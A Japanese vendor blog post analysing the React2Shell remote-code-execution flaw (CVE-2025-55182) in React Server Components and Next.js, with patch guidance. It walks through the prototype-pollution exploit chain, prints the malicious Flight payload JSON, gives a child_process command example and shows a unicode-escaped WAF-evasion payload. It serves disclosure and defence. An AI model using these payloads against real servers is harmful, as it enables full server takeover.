今日表示しない

トップへ戻る

トップへ戻る

脆弱性研究

脆弱性研究

脆弱性研究

React2Shell (CVE-2025-55182)

React2Shell (CVE-2025-55182)

React2Shell (CVE-2025-55182)

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

1. React2Shell(CVE-2025-55182) 脆弱性の概要


Reactは世界で最も広く使用されているフロントエンド技術の一つであり、優れたコード再利用性と高速なレンダリング性能を武器に、継続的にエコシステムを拡大してきています。現在、世界中のウェブサービスのうち約5%以上がReactベースで開発されているほど、その影響力は非常に大きいです。今回のブログで取り上げるReact2Shell脆弱性は、最新のReactバージョンベースのサービスでもリモートコード実行(Remote Code Execution, RCE)が可能なセキュリティ脆弱性です。

cve 디테일

React2Shell脆弱性は、攻撃者が認証手続きなしにインターネット経由でサービスにアクセスするだけで、企業サーバーで任意のコマンドを実行することができ、その結果、システムの完全な乗っ取りにまでつながる可能性があります。特に、この脆弱性は追加のオプションが設定された環境ではなく、一般的な環境で発生し、脆弱性を容易に悪用できるため、Reactを使用するすべてのサービスに潜在的な影響を及ぼす可能性があるという点で、深刻度が極めて高いです。このような理由から、CVSS(Common Vulnerability Scoring System)基準で最高評価の10.0の脅威スコアが割り当てられました。Node.jsベースのエコシステムで広く活用されているNext.jsもReact上で動作するため、Reactベースのサービスだけでなく、Next.jsを使用する企業や開発チームも本脆弱性について警戒を怠らない必要があります。

本記事を通じて、国内外の開発者や企業のセキュリティ担当者がReact2Shell脆弱性を正確に理解し、迅速な検証と対応手順を実施する上でお役に立てれば幸いです。

2. 技術的背景の説明

本格的にReact2Shell脆弱性を扱う前に、セキュリティ担当者にとっては多少馴染みが薄いかもしれないReact Server Componentの概念と、開発者にとっては馴染みが薄いかもしれないPrototype Pollutionについての理解が軽く必要である。

React Server Component & Flight Protocol

ウェブサービスを提供するにあたり、ユーザーに表示されるウェブページをServer-sideですべて処理して完成したDOMを提供するのをServer-Side Rendering(SSR)という。一方、API形式でデータのみを伝達し、実際のDOM構成はユーザーのウェブブラウザ(Client-side)で処理する方式をClient-Side Rendering(CSR)という。

CSRはページの骨組みをユーザーに提供し、実際のDOM構成はすべてユーザーのウェブブラウザで実行されるため、より豊かなウェブサービス利用体験と相互作用が可能になった。しかし、Frontend機能が次第に複雑になるにつれ、ブラウザが処理しなければならない演算量が増加し、これはユーザーデバイスのリソース消費の増加と性能低下によるユーザー体験の低下にまでつながることになった。

このような問題を解決するために、Reactはレンダリングの大部分をClientではなくServerで処理するReact Server Components(RSC)を導入した。RSCは、ReactのComponent実行はServer-sideで行い、その実行結果をClientで受け取ってComponentをレンダリングするようにする技術である。従来のSSRとCSRが結合された概念で、Serverでは新しいページの状態をReact Componentの形式に留めてレンダリングして提供し、Client側で該当Componentをレンダリングする形式に分けることで、Clientの負担を軽減できるようになった。

JSONはデータを扱うための非常に優れたシリアル化フォーマットだが、複雑なReact Componentを扱うには不適切である。React Componentを適切に処理するためには、単純な文字列、Dictionary、Arrayのようなデータを超えて、Promise、Blob、Mapのような複雑なタイプやReferenceなどを処理できなければならない。そのため、RSCにはFlight Protocolという独自のプロトコルおよびシリアル化フォーマットが利用される。

表現式

タイプ

説明

$$

Escaped $

"$$hello" → "$hello"

Literal string starting with $

$@

Promise/Chunk

"$@0"

Reference to chunk ID 0

$F

Server Reference

"$F0"

Server function reference

$T

Temporary Ref

"$T"

Opaque temporary reference

$Q

Map

"$Q0"

Map object at chunk 0

$W

Set

"$W0"

Set object at chunk 0

$K

FormData

"$K0"

FormData at chunk 0

$B

Blob

"$B0"

Blob at chunk 0

$n

BigInt

"$n123"

BigInt value

$D

Date

"$D2024-01-01"

Date object

$N

NaN

"$N"

NaN value

$I

Infinity

"$I"

Infinity

$-

-Infinity/-0

"$-I" or "$-0"

Negative infinity or negative zero

$u

undefined

"$u"

undefined value

$R

ReadableStream

"$R0"

ReadableStream

$0-9a-f

Chunk Reference

"$1", "$a"

Reference to chunk by hex ID

Prototype Pollution

Javascriptにおけるオブジェクト(Object)は、よく「オブジェクト指向」として知られているJava、C++のオブジェクトスタイルとは全く異なる。Javascriptでは、オブジェクトが作成されるときにオブジェクトのクラスを継承するのではなく、他のオブジェクトを継承する形である。言い換えれば、新しいオブジェクトは特定の枠(Class)から複製されるのではなく、自身が参照するもう一つのオブジェクトに基づいて動作を拡張していく。

このように継承される構造において、Prototypeはオブジェクトが参照する親オブジェクトであり、自身が直接持っていないプロパティやメソッドを探すときに照会が継続される対象である。例えば、Javascriptにおいて配列はArray.prototypeをプロトタイプとするが、配列のtoStringpushのようなメソッドはArray.prototypeに実装されており、プロトタイプを通じて使用することができる。

Javascriptのこのような特性のため、いかなる経路からであっても、あるプロトタイプオブジェクトにpropertyを設定することができれば、それ以降に生成されるオブジェクトに対して、まるで特定のpropertyが設定されたかのように作成することができるようになる。このようにオブジェクトのprototypeを汚染させたり、prototypeに不健全にアクセスする行為をPrototype Pollutionという。初めて見ると多少馴染みの薄い概念かもしれないが、以下のコード例を通じて簡単に理解できるはずであり、追ってPrototype Pollutionについてより詳しく扱ってみることにする。

let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted"; //ObjectのPrototype

let obj2 = {};
console.log(obj2.foo); // "polluted"

console.log(obj2.hasOwnProperty("foo")); // False (`foo`は自分自身のPropertyではないため)
let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted"; //ObjectのPrototype

let obj2 = {};
console.log(obj2.foo); // "polluted"

console.log(obj2.hasOwnProperty("foo")); // False (`foo`は自分自身のPropertyではないため)
let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted"; //ObjectのPrototype

let obj2 = {};
console.log(obj2.foo); // "polluted"

console.log(obj2.hasOwnProperty("foo")); // False (`foo`は自分自身のPropertyではないため)

3. 根本原因分析

Diff Analysis (差分分析)

まず、脆弱性の原因を分析する前に、該当するReact2Shell脆弱性はGitHubのfacebook/reactリポジトリの7dc903cコミット(GitHub Commit)を通じてパッチされた。このコミットを通じて修正された内容のうち、Flight ProtocolおよびPrototypeに関連する修正はpackages/react-server/src/ReactFlightReplyServer.jsで行われた。


함수 구현 내 속성값 검사 추가

caption - ReactFlightReplyServer.jsにおけるgetOutlinedModel関数の実装内でのプロパティ値の検証追加

Processing Flight Protocol - RSCの最初のゲートウェイ

react-serverに渡されたFlight Protocolデータのうち、getOutlinedModel関数が呼び出される場合は、ReactFlightReplyServer.jsの以下のような関数呼び出しに沿って前処理される。

  • initializeModelChunk():Flight Protocol要求発生時の初期Chunk初期化

  • reviveModel():要求データからModelの復元

  • parseModelString():文字列データからModelの作成(逆シリアル化)

  • getOutlinedModel():逆シリアル化の過程で発生するChunk Referenceの処理

Raw Chunk Reference

前述のFlight Protocol概要において、$@0のような表現はChunk 0に対するReferenceであると説明した。実際にこの実装に関して、parseModelString()関数を見てみると以下のようになっている。(ReactFlightReplyServer.js:929)

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}
case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}
case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

@から始まるReferenceについては、Chunk Promise自体を取得して返すRaw referenceとして実装されている。これにより、Promiseに対する参照を取得できる。(CAUSE #1)

Unserialize & Prototype Pollution - Chunkの本質へ

脆弱性パッチが行われる直前のコミットにおけるgetOutlinedModel()関数の実装は以下の通りである。(ReactFlightReplyServer.js:595)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */
function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */
function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

該当関数においてchunk.statusINITIALIZEDの場合、reference.split(':')で取得したpathをもとにvalue内のメンバに順次参照を続けていくことが確認できる。この過程において、hasOwnPropertyのような検証が存在しないため、__proto__メンバを介したPrototype Pollutionが可能となる。(CAUSE #2)

例えば、reference式が$1:__proto__:aaaのような場合、1番目のChunkのPrototypeのaaaというメンバを参照することになる。

このとき、もし1番目のChunkが前述の$@0、すなわちPromise型のオブジェクトであれば、$1:__proto__(Chunk0).__proto__を表すことになり、結果としてChunk.prototypeへのアクセスが可能であることを意味する。

CAUSE #1とCAUSE #2により、攻撃者はChunk.prototypeにアクセスできるようになる。(PRIMITIVE #1)

Chunk.prototype - initializeModelChunkを再び稼働させる

PRIMITIVE #1を介して取得したChunk.prototypeに関する情報もまた、同様にReactFlightReplyServer.jsファイル内にあることが確認できる。(ReactFlightReplyServer.js:125)

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

Chunkは基本的にはPromiseオブジェクトであり、.then()メソッドはthis.statusに応じて異なる動作に分岐されることが分かる。

一方で、PRIMITIVE #1を活用して$1:__proto__:thenを参照すると、chunkのあるプロパティをChunk.prototype.then関数にすることが可能となり、これによりthenという名前を持つプロパティがChunk.prototype.thenを指すように設定できるようになる。

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}
{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}
{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

上の例のようにChunkが設定された場合、thenは実際にはChunk.prototype.thenであり、then内でのthis.statusresolved_modelであるため、もしこのチャンク(実際にはPromise)をresolveすることさえできれば、攻撃者は任意のinitializeModelChunk関数呼び出しを実行できるようになる。(PRIMITIVE #2)

initializeModelChunk - もう一度

PRIMITIVE #2を利用することで、攻撃者は完全に制御可能な(fully-controllable)値を用いてinitializeModelChunk関数を再度呼び出すことができる。該当関数の実装は以下の通りである。(ReactFlightReplyServer.js:446)

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;
  
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;
  
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;
  
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );

このとき、攻撃者はresolvedModelの値を完全にコントロールできるため、任意のJSONオブジェクトを用いてreviveModel関数を呼び出すことが可能となる。また、chunk._responseも 同様にinitializeModelChunk()呼び出しプロセスの段階から操作可能な値であったため、PRIMITIVE #2は任意のreviveModel関数呼び出しへと還元される。

reviveModel - Blob

reviveModel()関数は従来通り、内部的にparseModelString()を呼び出す。このparseModelString()内には以下のように、Blobデータを処理するロジックが存在する。(ReactFlightReplyServer.js:446)

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }
  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }
  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

この際、コードブロックで参照しているresponseが、攻撃者が操作可能な値であることを考慮すれば、最終的にblobKeyもまた、(希望する文字列) || (任意の整数)の形で操作可能であり、response._formData.getも同様に適当な値に操作可能である。

response._formData.getは呼び出し可能な関数である必要があるため、CAUSE #1を思い起こして応用することができる。




上記のように$1:constructor:constructorFunction.constructorとなるため、以下のようなchunkを構成すれば、Function.constructorを活用した任意の関数の作成およびvalueへの割り当てが可能となる。

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}
{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}
{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

上記の_responseがBlobを通じて処理されるとみなすと、最終的にFunction.constructor("console.log(1337);//1")関数が返されることになり、最終的には以下のような構造になる。

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}
{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}
{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

すなわち、ここで攻撃者は任意のJavaScript関数を作成することができ、さらにvalue自体を、thenを関数として持つThenableに構築することが可能となる。

また、再びChunk.prototype.then()関数に戻ってみると、

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);

先ほどBlobが処理されたinitializeModelChunk呼び出しが終わり、valuethenを攻撃者が作成した任意関数として持っているThenableであるため、resolve(chunk.value)の行で任意のJavaScript関数が実行されることになる。(PRIMITIVE #3)

Sum Everything, Next Resolves Everything

現時点で、攻撃者が獲得したPrimitiveにどのような情報が含まれているかを再整理する必要がある。

PRIMITIVE #1 => Chunk.prototype 대한 접근
PRIMITIVE #2 => (resolve  ) Fully-Controllable  `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 실행
PRIMITIVE #1 => Chunk.prototype 대한 접근
PRIMITIVE #2 => (resolve  ) Fully-Controllable  `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 실행
PRIMITIVE #1 => Chunk.prototype 대한 접근
PRIMITIVE #2 => (resolve  ) Fully-Controllable  `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 실행

どのような形であれ、Chunkthenが最初にresolveされさえすれば、PRIMITIVE #2からPRIMITIVE #3へと繋がって任意の関数呼び出しが可能となる。

攻撃者のChunkが以下のように構成されていると仮定しよう。

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

このように構成されている場合、thenが正常に呼び出されさえすれば、以下の流れに沿ってサーバーサイド(Server-side)での任意コード実行が可能となる。

  1. .then()Chunk.prototype.thenであるため、全体をthisとしてthenが実行される

  2. value = JSON.parse("{\\"then\\": \\"$B1\\"}")を用いて、reviveModelが呼び出される

  3. reviveModelのプロセスにおいて、$B1337Function.constructor("console.log(1);//1")に設定される

  4. valuethenが再呼び出しされる ⇒ Function.constructor("console.log(1);//1")()が呼び出される

  5. _response._prefixに含まれる任意のJavaScriptが実行される

Reactを採用する代表的なフレームワークであるNext.jsを調べてみると、Next-Actionヘッダーが送信された際に実行されるaction handlerに、以下のようなコードが存在する。(action-handler.ts:879)

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )
boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )
boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

この時、decodeReplyFromBusboy関数は、multipart/form-data形式のリクエストに対して処理を行い、chunkを返す関数である。

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };
exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };
exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

つまり、上記のChunkがmultipart/form-data形式で提供された場合、decodeReplyFromBusboy関数はchunkを解析した後に以下のchunkを返すことになる。

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}
{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}
{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

この時、このオブジェクトはthenメンバが存在し、かつFunctionであるため、JavaScriptで規定されるThenableとなる。(MDN - Thenable)

したがって、最初のChunk.prototype.thenを介して、statusvalue_responseが完全にセットアップされた2回目のinitializeModelChunkが呼び出されることになり、最終的にはconsole.log(1)のコード実行まで繋がることになる。

この際実行されるJavaScriptコードは、クライアントサイド(Client-side)ではなく、サーバー上でnode.jsを介して実行されるコードであるため、攻撃者はprocess.mainModule.require('child_process').execSync('id > /tmp/test');のようなコードを構築し、サーバー上で任意のコード実行が可能となる。

4. 対応策

最近配布されたバージョンのReactベースの技術スタックの場合、ほとんどが影響を受けるため、現在使用中のバージョンを確認し、影響を受けるバージョンのReactベースのサービスを使用している場合は、早急に脆弱性が解決された最新のパッチを適用することを推奨する。

対象

影響を受けるバージョン

React

19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js

15.x(15.0.0 ~ 15.5.6), 16.x(16.0.0 ~ 16.0.6), Next.js 14.3.0.canaray.77 以上のバージョン

Reactベースの派生サービス

-


脆弱性が解決された最新のパッチバージョンは以下の通りである。

対象

脆弱性が解決された最新のパッチバージョン

React

19.0.1, 19.1.2, 19.2.1

Next.js

15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0, 16.0.7

WAFを通じてよく知られた攻撃ペイロードに対するルールを追加することはできるが、変形ペイロードの実装が容易な脆弱性であるため、WAFルールを追加する方式だけでは効果的に防御することは難しい。
RSCでFlightリクエストを処理する過程において、JSON.parse関数が攻撃者の入力を処理するため、JSON構文を渡すことができ、\\uXXXXのようなユニコード表記法によって悪意のあるペイロードが検出されないよう操作し、検出ルールを回避することが可能である。


区分

詳細

RSC Flight処理コード

const rawModel = JSON.parse(resolvedModel);

WAF回避の例ペイロード

{ "\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e", "\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c", "\u0072\u0065\u0061\u0073\u006f\u006e": -1, ... 省略 }

5. React2Shell無料スキャナーの配布

React2Shellの脆弱性診断は、市販されている公開されたPoCコードを直接利用して実施することも可能ですが、ENKIE WhiteHatの攻撃面管理ソリューションであるOFFen ASMが提供する緊急スキャナーを使用することで、安全かつ簡単に脆弱性の有無を確認することができます。

OFFen ASM 緊急スキャナーページ

https://vuln.offen.im/

※ 無料スキャンイベントは25.01.12をもって終了いたしました。現在、スキャナーはOFFen ASMの導入時に提供されており、セキュリティチームを保有する企業顧客やサービスの導入を検討されている機関を対象にサポートされています。
導入に関するご案内が必要な場合は、▶お問い合わせ◀をお願いいたします。


react2shell 취약점 스캐너


Reference

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.